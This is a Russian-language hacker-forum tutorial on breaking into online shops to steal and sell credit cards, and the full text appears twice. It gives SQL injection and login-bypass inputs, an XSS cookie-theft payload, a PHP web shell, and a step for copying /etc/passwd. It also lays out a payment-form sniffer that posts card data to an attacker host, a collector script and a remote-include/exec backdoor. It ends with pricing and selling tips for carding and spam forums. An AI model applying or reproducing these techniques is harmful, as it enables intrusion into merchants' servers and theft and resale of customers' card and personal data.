Статью написал мембер cyberunknown С-n1x (cyberunknown.cc) Копипаст запрещен.
Итак, мой юный друг, сегодня я хочу рассказать тебе о некоторых способах заработка в сети, в частности о краже
кредитных карт (и не только ? ) с Интернет-шопов и последующей их продаже.
Для начала нам нужно выбрать цель, то есть Интернет-шоп принимающий оплату кредитными картами. Итак, мы нашли
подходящий ресурс, к примеру http://shop.test.biz/.
Скажу сразу, цель у нас, любым возможным способом получить веб-шелл на этом ресурсе., следовательно, нам нужно
исследовать Интернет-шоп на возможные уязвимости.
Сейчас существует очень много ошибок (уязвимостей), но я расскажу кратко о более популярных из них.
1. SQL-Inj. Для обнаружения данной уязвимости, нужно убедится, что сервер использует SQL. Для этого надо побродить
по ссылкам, если через URL передаются скриптам числовые параметры. Например такой скрипт : product.php?id=678 , вместо
678 подставляем -1 , либо 9999999 (т.е. несуществующее число), если страница отобразит чистый лист или ошибку, то скорее
всего SQL используется. Проверим его на уязвимость. Есть два способа: Способ 1) Проверяем с помощью математических
вычислений, product.php?id=679-1 , если такой скрипт выдаст что и product.php?id=678, то сервер на 80-90 % подвержен
атаке. Способ 2) Подставим ./* , если сервер выдаст чистый лист или ошибку, то он возможно уязвим. Это происходит
из - за того, что запрос принимает такой вид:
$query=mysql_query(" select * from `table` where `id`=''/* and `id678`='id678').
Реализация: Через специальным образом составленные запросы можно узнать логины пользователей и их пароли (или хеши), а
в частности и пасс админа.
2. PHP-inj. Ну тут совсем кратко скажу. Сейчас еще довольно часто можно встретить эту уязвимость. Почитать о ней можно
тут http://forum.antichat.ru/archive/index.php/t-6296.html
Реализация: В ходе выполнения атаки мы получим полноценный шелл.
3. XSS . Cross site scripting (также известна, как XSS) происходит в случае получения web-приложением опасных данных
от пользователя. Данные обычно берутся из формы или из гиперссылки, содержание которой опасно. Например, подставив
%22>%3Cscript%3Ealert(%22ЗTest%20Proverka%na%20XSS%22);%3C/script%3E в форму уязвимого скрипта (например, Search.php),
мы будем наблюдать в результате исполнившийся скрипт со строчкой Test Proverka na XSS. Подробнее об этом можно почитать
тут http://www.cgisecurity.com/articles/dx27.html.
Реализация: Кража куков администратора сайта.
Мы рассмотрели самые распространенные виды атак. Конечно ты можешь и не использовать их, а ,допустим, ты нашел на сайте
бажный форум и взломал его паблик сплоитом. Цель одна поиметь шелл. (Кстати можно и без шелла. Ломая как то один шоп,
обнаружили что в форме ввода логина-пасса к админке не фильтруется символы и при подстановки элементарного 'or 1=1/*,
мы попали в админку. Ну а там уже скачали всю нужную инфу!)
Вот, что однажды рассказывал мне один хороший знакомый про взлом Интернет шопа :
.Один раз я взламывал какой-то е-магаз... получил www шелл через примитивную багу. О-да, это был инклуд...
Но вот незадача. В виде
файла, который инклудиться юзался обычный пхп шелл
<?
echo "<pre>";
if($cmd=='')
{$cmd='uname -a';}
system("$cmd");
echo "</pre>";
?>
Я был озадачен тем, что некоторые команды не проходили... Выполнив даже uname -a всё шло в лес и апач выдавал ошибку 500.
Я был озадачен так же как большевики во время октября... Так как команда ls -la проходила на ура. Команда cat тоже не
работала. Я даже cat /etc/passwd не мог выполнить. Но решение пришло быстро. Я узнал текущий каталог и попробывал
скопировать /etc/passwd в www зону и посмотреть браузером... cp -R /etc/passwd /home/site/htdocs/passwd.txt. И "о чудо!"
файл скопировался! Теперь я нашёл конфиг в
котором находился пароль для доступа к бд. И скопировав его в тот же каталог, но с другим расширением (txt), посмотрел его.
На ssh он не подошёл . Но вопрос был не решён и он меня насиловал хуже чем Чапаев Анку. "А какая там система???"
Было решено вместо инклудового шелла использовать другой файл с содержанием:
<? phpinfo(); ?>
И проканало! linux 2.6.11 .Так как система патченая, то наибольший интерес представляла база данных. .
Теперь вернемся к нашей теме.
Следующим делом тебе нужно узнать логин и пароль для подключения к БД. Его можно найти в конфигурационных файлах.
Например, в файле config.inc.php будут такие строчки:
<?
$sql_login=.Test.; Логин для подключения к БД
$sql_passwd='passtest'; Пароль подключения к БД
$sql_host='www.shop.test.biz '; Адрес хоста
//$sql_host=127.0.0.1'; Ип хоста
$sql_dbname='shop'; Имя базы
$prefix='shop_'; Префикс таблицы
?>
Данной информации нам вполне хватит, чтобы подключиться к БД. Для этого можно использовать скрипт подключения
который входит в шелл r57shell от команды RST, найти его можно здесь www.rst.void.ru/r57shell.txt . Подключаемся,
делаем дамп и сливаем на ФТП (можно и на локальную машину). Теперь смотрим, что мы слили, вам очень повезет, если
вы там обнаружите кредитки, но такое сейчас встречается очень редко, и все равно там может быть много вкусностей.
Например, логины и пассы юзверей, информация о них, база мыл (e-mail) клиентов, которую можно продать спамерам на
специализированных спам-форумах, вроде spamdot.biz. Также рекомендую сделать вам бекап всех скриптов, если они
окажутся коммерческими или самописными, то их тоже можно продать . В общем бекап вам пригодится! Вернемся к нашей
цели , прежде всего нам нужны кредитные карты. Где же их взять, если они не хранятся на сервере? Выходом из такой
ситуации станет внедрение снифера в скрипт содержащий форму отправки данных о кредитках, который будет отсылать все
отснифанные данные на наш скрипт который будет находиться на нашем хосте, желательно взять бесплатный хост, такой
как www.hut1.ru. (Снифер пригодится и в том случае если цц всетаки поступает в БД, но предварительно номера шифруются).
Приводить полностью исходник снифера не буду, но скажу, что он должен собирать информацию из формы (в случае оплаты по cc)
помещать ее в переменые, а затем открывать сокет (например
<?$fp = fsockopen("ourhost.hut1.ru","80"); ?>) к нашему серверу, и слать запрос
(<?fputs($request,$fp);?>),
в данном случае желательно чтобы запросы шли методом POST( так как лишняя инфа в логах нам не на руку), в пхп это
реализовывается примерно так:
$request = "POST ourhost.hut1.ru/oursnif.php HTTP/1.1\r\n
Accept-Encoding: gzip,deflate\r\n
Connection: closed\r\n
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8) Oursinf\r\n
Accept-Language: en-us,en;q=0.5\r\n
Host: ourhost.hut1.ru\r\n
\r\n
". $vars."\r\n\r\n";
//здесь имеется в виду что запрос уже упакован в $vars
далее нам надо прочитать ответ сервера:
<? while(!feof($fp)) { fread($fp,4096) }; ?>
я думаю читать его в переменную нет смысла...
В нашем случае мы передали в post-переменой масив, так что мы просто берем
и помещаем его по пробелам в строку, затем скидываем строку в файл, примерно таким образом:
<?
$arr = $_POST["our_arr"];
$str = ""; fopen(".our_cc_file","a");
for($i = 0; $i < count($arr); $i++) { $str = $str." ".$arr[$i]; };
fputs($string,$fp);
echo "ok";
?>
на выходе мы получим приблизительно такую строчку в наш файл:
"000000000000000 Carl Marks 00/00 000 CA Malaya Sadovaya Str. 001 Las Vegas 000-0000 etc..."
это и будет наш картон, который мы с вами так жаждали.
Иногда бывает так, что вам не хватает прав на редактирования файла, тогда нам нужно найти пасс от фтп и залить
измененный скрипт с него. К аккаунту фтп можно попробовать пару логин-пароль от БД, можно проверить .htaccess
на содержание хешей, которые потом можно расшифровать. В общем существует много способов попытаться достать пасс
от фтп, но так как наша статья о другом , двинемся дальше.
Итак, снифер стоит, теперь остается только ждать результатов. Шелл который вы использовали лучше стереть а в любой
скрипт можно встроить бекдуру, добавив такой код <if(@isset[$_GET["load"]]) {@include($_GET["load"]); }
elseif(@isset[$_GET["exe"]) {@system($_GET["exe"]}>, пригодится нам если вдруг снифер не будет работать и
придется менять код, или еще для чего нибудь.(?load=http://ourhost/shell.txt - подключать шелл, и ?load=ls -lisa -
выполнять команды на сервере)
Если же все нормально, то через неоторое время обнаружите в файле, в который скрипт собирает принятые данные, данные
о кредитках.
Ну а дальше все ясно, постишь на всем известном cardingworld.(кхе-кхе) о факте
наличия картона, о том какой стране он принадлежит, и оставляешь асю.
Больше всего интересует юса и англия.
Примерные цены на него - 1-1.5 WMZ за штуку, если продавать всю базу. 1.5-2.5 - если поштучно. Но если ты хакер,
я думаю, тебе не сильно захочется становится селлером картона, так как это занимает много времени.
А вообще всегда продать можно то, что является приватным. Например, допустим телефонная база с адресами граждан
US заинтересует многих. Вывод: то, что приват - это стоит денег! Его и стоит продавать. Главное не продинамить
реальную цену товара и не попасть на кидалово, и братьев наших меньших...
Извините за всевозможные ашипки и ачипятки...
Ой! Чуть не забыл. Всё написал в ознакомительных целях... И прочая пурга... и вообще у нас тут кружок живописи... хакеры?
кардеры? ... нет незнаем, не рисовали .
Всегда с вами C-n1x.
Спасибо за помощь в написании статьи device-x, zell and mindfox, Respect!
Итак, мой юный друг, сегодня я хочу рассказать тебе о некоторых способах заработка в сети, в частности о краже
кредитных карт (и не только ? ) с Интернет-шопов и последующей их продаже.
Для начала нам нужно выбрать цель, то есть Интернет-шоп принимающий оплату кредитными картами. Итак, мы нашли
подходящий ресурс, к примеру http://shop.test.biz/.
Скажу сразу, цель у нас, любым возможным способом получить веб-шелл на этом ресурсе., следовательно, нам нужно
исследовать Интернет-шоп на возможные уязвимости.
Сейчас существует очень много ошибок (уязвимостей), но я расскажу кратко о более популярных из них.
1. SQL-Inj. Для обнаружения данной уязвимости, нужно убедится, что сервер использует SQL. Для этого надо побродить
по ссылкам, если через URL передаются скриптам числовые параметры. Например такой скрипт : product.php?id=678 , вместо
678 подставляем -1 , либо 9999999 (т.е. несуществующее число), если страница отобразит чистый лист или ошибку, то скорее
всего SQL используется. Проверим его на уязвимость. Есть два способа: Способ 1) Проверяем с помощью математических
вычислений, product.php?id=679-1 , если такой скрипт выдаст что и product.php?id=678, то сервер на 80-90 % подвержен
атаке. Способ 2) Подставим ./* , если сервер выдаст чистый лист или ошибку, то он возможно уязвим. Это происходит
из - за того, что запрос принимает такой вид:
$query=mysql_query(" select * from `table` where `id`=''/* and `id678`='id678').
Реализация: Через специальным образом составленные запросы можно узнать логины пользователей и их пароли (или хеши), а
в частности и пасс админа.
2. PHP-inj. Ну тут совсем кратко скажу. Сейчас еще довольно часто можно встретить эту уязвимость. Почитать о ней можно
тут http://forum.antichat.ru/archive/index.php/t-6296.html
Реализация: В ходе выполнения атаки мы получим полноценный шелл.
3. XSS . Cross site scripting (также известна, как XSS) происходит в случае получения web-приложением опасных данных
от пользователя. Данные обычно берутся из формы или из гиперссылки, содержание которой опасно. Например, подставив
%22>%3Cscript%3Ealert(%22ЗTest%20Proverka%na%20XSS%22);%3C/script%3E в форму уязвимого скрипта (например, Search.php),
мы будем наблюдать в результате исполнившийся скрипт со строчкой Test Proverka na XSS. Подробнее об этом можно почитать
тут http://www.cgisecurity.com/articles/dx27.html.
Реализация: Кража куков администратора сайта.
Мы рассмотрели самые распространенные виды атак. Конечно ты можешь и не использовать их, а ,допустим, ты нашел на сайте
бажный форум и взломал его паблик сплоитом. Цель одна поиметь шелл. (Кстати можно и без шелла. Ломая как то один шоп,
обнаружили что в форме ввода логина-пасса к админке не фильтруется символы и при подстановки элементарного 'or 1=1/*,
мы попали в админку. Ну а там уже скачали всю нужную инфу!)
Вот, что однажды рассказывал мне один хороший знакомый про взлом Интернет шопа :
.Один раз я взламывал какой-то е-магаз... получил www шелл через примитивную багу. О-да, это был инклуд...
Но вот незадача. В виде
файла, который инклудиться юзался обычный пхп шелл
<?
echo "<pre>";
if($cmd=='')
{$cmd='uname -a';}
system("$cmd");
echo "</pre>";
?>
Я был озадачен тем, что некоторые команды не проходили... Выполнив даже uname -a всё шло в лес и апач выдавал ошибку 500.
Я был озадачен так же как большевики во время октября... Так как команда ls -la проходила на ура. Команда cat тоже не
работала. Я даже cat /etc/passwd не мог выполнить. Но решение пришло быстро. Я узнал текущий каталог и попробывал
скопировать /etc/passwd в www зону и посмотреть браузером... cp -R /etc/passwd /home/site/htdocs/passwd.txt. И "о чудо!"
файл скопировался! Теперь я нашёл конфиг в
котором находился пароль для доступа к бд. И скопировав его в тот же каталог, но с другим расширением (txt), посмотрел его.
На ssh он не подошёл . Но вопрос был не решён и он меня насиловал хуже чем Чапаев Анку. "А какая там система???"
Было решено вместо инклудового шелла использовать другой файл с содержанием:
<? phpinfo(); ?>
И проканало! linux 2.6.11 .Так как система патченая, то наибольший интерес представляла база данных. .
Теперь вернемся к нашей теме.
Следующим делом тебе нужно узнать логин и пароль для подключения к БД. Его можно найти в конфигурационных файлах.
Например, в файле config.inc.php будут такие строчки:
<?
$sql_login=.Test.; Логин для подключения к БД
$sql_passwd='passtest'; Пароль подключения к БД
$sql_host='www.shop.test.biz '; Адрес хоста
//$sql_host=127.0.0.1'; Ип хоста
$sql_dbname='shop'; Имя базы
$prefix='shop_'; Префикс таблицы
?>
Данной информации нам вполне хватит, чтобы подключиться к БД. Для этого можно использовать скрипт подключения
который входит в шелл r57shell от команды RST, найти его можно здесь www.rst.void.ru/r57shell.txt . Подключаемся,
делаем дамп и сливаем на ФТП (можно и на локальную машину). Теперь смотрим, что мы слили, вам очень повезет, если
вы там обнаружите кредитки, но такое сейчас встречается очень редко, и все равно там может быть много вкусностей.
Например, логины и пассы юзверей, информация о них, база мыл (e-mail) клиентов, которую можно продать спамерам на
специализированных спам-форумах, вроде spamdot.biz. Также рекомендую сделать вам бекап всех скриптов, если они
окажутся коммерческими или самописными, то их тоже можно продать . В общем бекап вам пригодится! Вернемся к нашей
цели , прежде всего нам нужны кредитные карты. Где же их взять, если они не хранятся на сервере? Выходом из такой
ситуации станет внедрение снифера в скрипт содержащий форму отправки данных о кредитках, который будет отсылать все
отснифанные данные на наш скрипт который будет находиться на нашем хосте, желательно взять бесплатный хост, такой
как www.hut1.ru. (Снифер пригодится и в том случае если цц всетаки поступает в БД, но предварительно номера шифруются).
Приводить полностью исходник снифера не буду, но скажу, что он должен собирать информацию из формы (в случае оплаты по cc)
помещать ее в переменые, а затем открывать сокет (например
<?$fp = fsockopen("ourhost.hut1.ru","80"); ?>) к нашему серверу, и слать запрос
(<?fputs($request,$fp);?>),
в данном случае желательно чтобы запросы шли методом POST( так как лишняя инфа в логах нам не на руку), в пхп это
реализовывается примерно так:
$request = "POST ourhost.hut1.ru/oursnif.php HTTP/1.1\r\n
Accept-Encoding: gzip,deflate\r\n
Connection: closed\r\n
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8) Oursinf\r\n
Accept-Language: en-us,en;q=0.5\r\n
Host: ourhost.hut1.ru\r\n
\r\n
". $vars."\r\n\r\n";
//здесь имеется в виду что запрос уже упакован в $vars
далее нам надо прочитать ответ сервера:
<? while(!feof($fp)) { fread($fp,4096) }; ?>
я думаю читать его в переменную нет смысла...
В нашем случае мы передали в post-переменой масив, так что мы просто берем
и помещаем его по пробелам в строку, затем скидываем строку в файл, примерно таким образом:
<?
$arr = $_POST["our_arr"];
$str = ""; fopen(".our_cc_file","a");
for($i = 0; $i < count($arr); $i++) { $str = $str." ".$arr[$i]; };
fputs($string,$fp);
echo "ok";
?>
на выходе мы получим приблизительно такую строчку в наш файл:
"000000000000000 Carl Marks 00/00 000 CA Malaya Sadovaya Str. 001 Las Vegas 000-0000 etc..."
это и будет наш картон, который мы с вами так жаждали.
Иногда бывает так, что вам не хватает прав на редактирования файла, тогда нам нужно найти пасс от фтп и залить
измененный скрипт с него. К аккаунту фтп можно попробовать пару логин-пароль от БД, можно проверить .htaccess
на содержание хешей, которые потом можно расшифровать. В общем существует много способов попытаться достать пасс
от фтп, но так как наша статья о другом , двинемся дальше.
Итак, снифер стоит, теперь остается только ждать результатов. Шелл который вы использовали лучше стереть а в любой
скрипт можно встроить бекдуру, добавив такой код <if(@isset[$_GET["load"]]) {@include($_GET["load"]); }
elseif(@isset[$_GET["exe"]) {@system($_GET["exe"]}>, пригодится нам если вдруг снифер не будет работать и
придется менять код, или еще для чего нибудь.(?load=http://ourhost/shell.txt - подключать шелл, и ?load=ls -lisa -
выполнять команды на сервере)
Если же все нормально, то через неоторое время обнаружите в файле, в который скрипт собирает принятые данные, данные
о кредитках.
Ну а дальше все ясно, постишь на всем известном cardingworld.(кхе-кхе) о факте
наличия картона, о том какой стране он принадлежит, и оставляешь асю.
Больше всего интересует юса и англия.
Примерные цены на него - 1-1.5 WMZ за штуку, если продавать всю базу. 1.5-2.5 - если поштучно. Но если ты хакер,
я думаю, тебе не сильно захочется становится селлером картона, так как это занимает много времени.
А вообще всегда продать можно то, что является приватным. Например, допустим телефонная база с адресами граждан
US заинтересует многих. Вывод: то, что приват - это стоит денег! Его и стоит продавать. Главное не продинамить
реальную цену товара и не попасть на кидалово, и братьев наших меньших...
Извините за всевозможные ашипки и ачипятки...
Ой! Чуть не забыл. Всё написал в ознакомительных целях... И прочая пурга... и вообще у нас тут кружок живописи... хакеры?
кардеры? ... нет незнаем, не рисовали .
Всегда с вами C-n1x.
Спасибо за помощь в написании статьи device-x, zell and mindfox, Respect!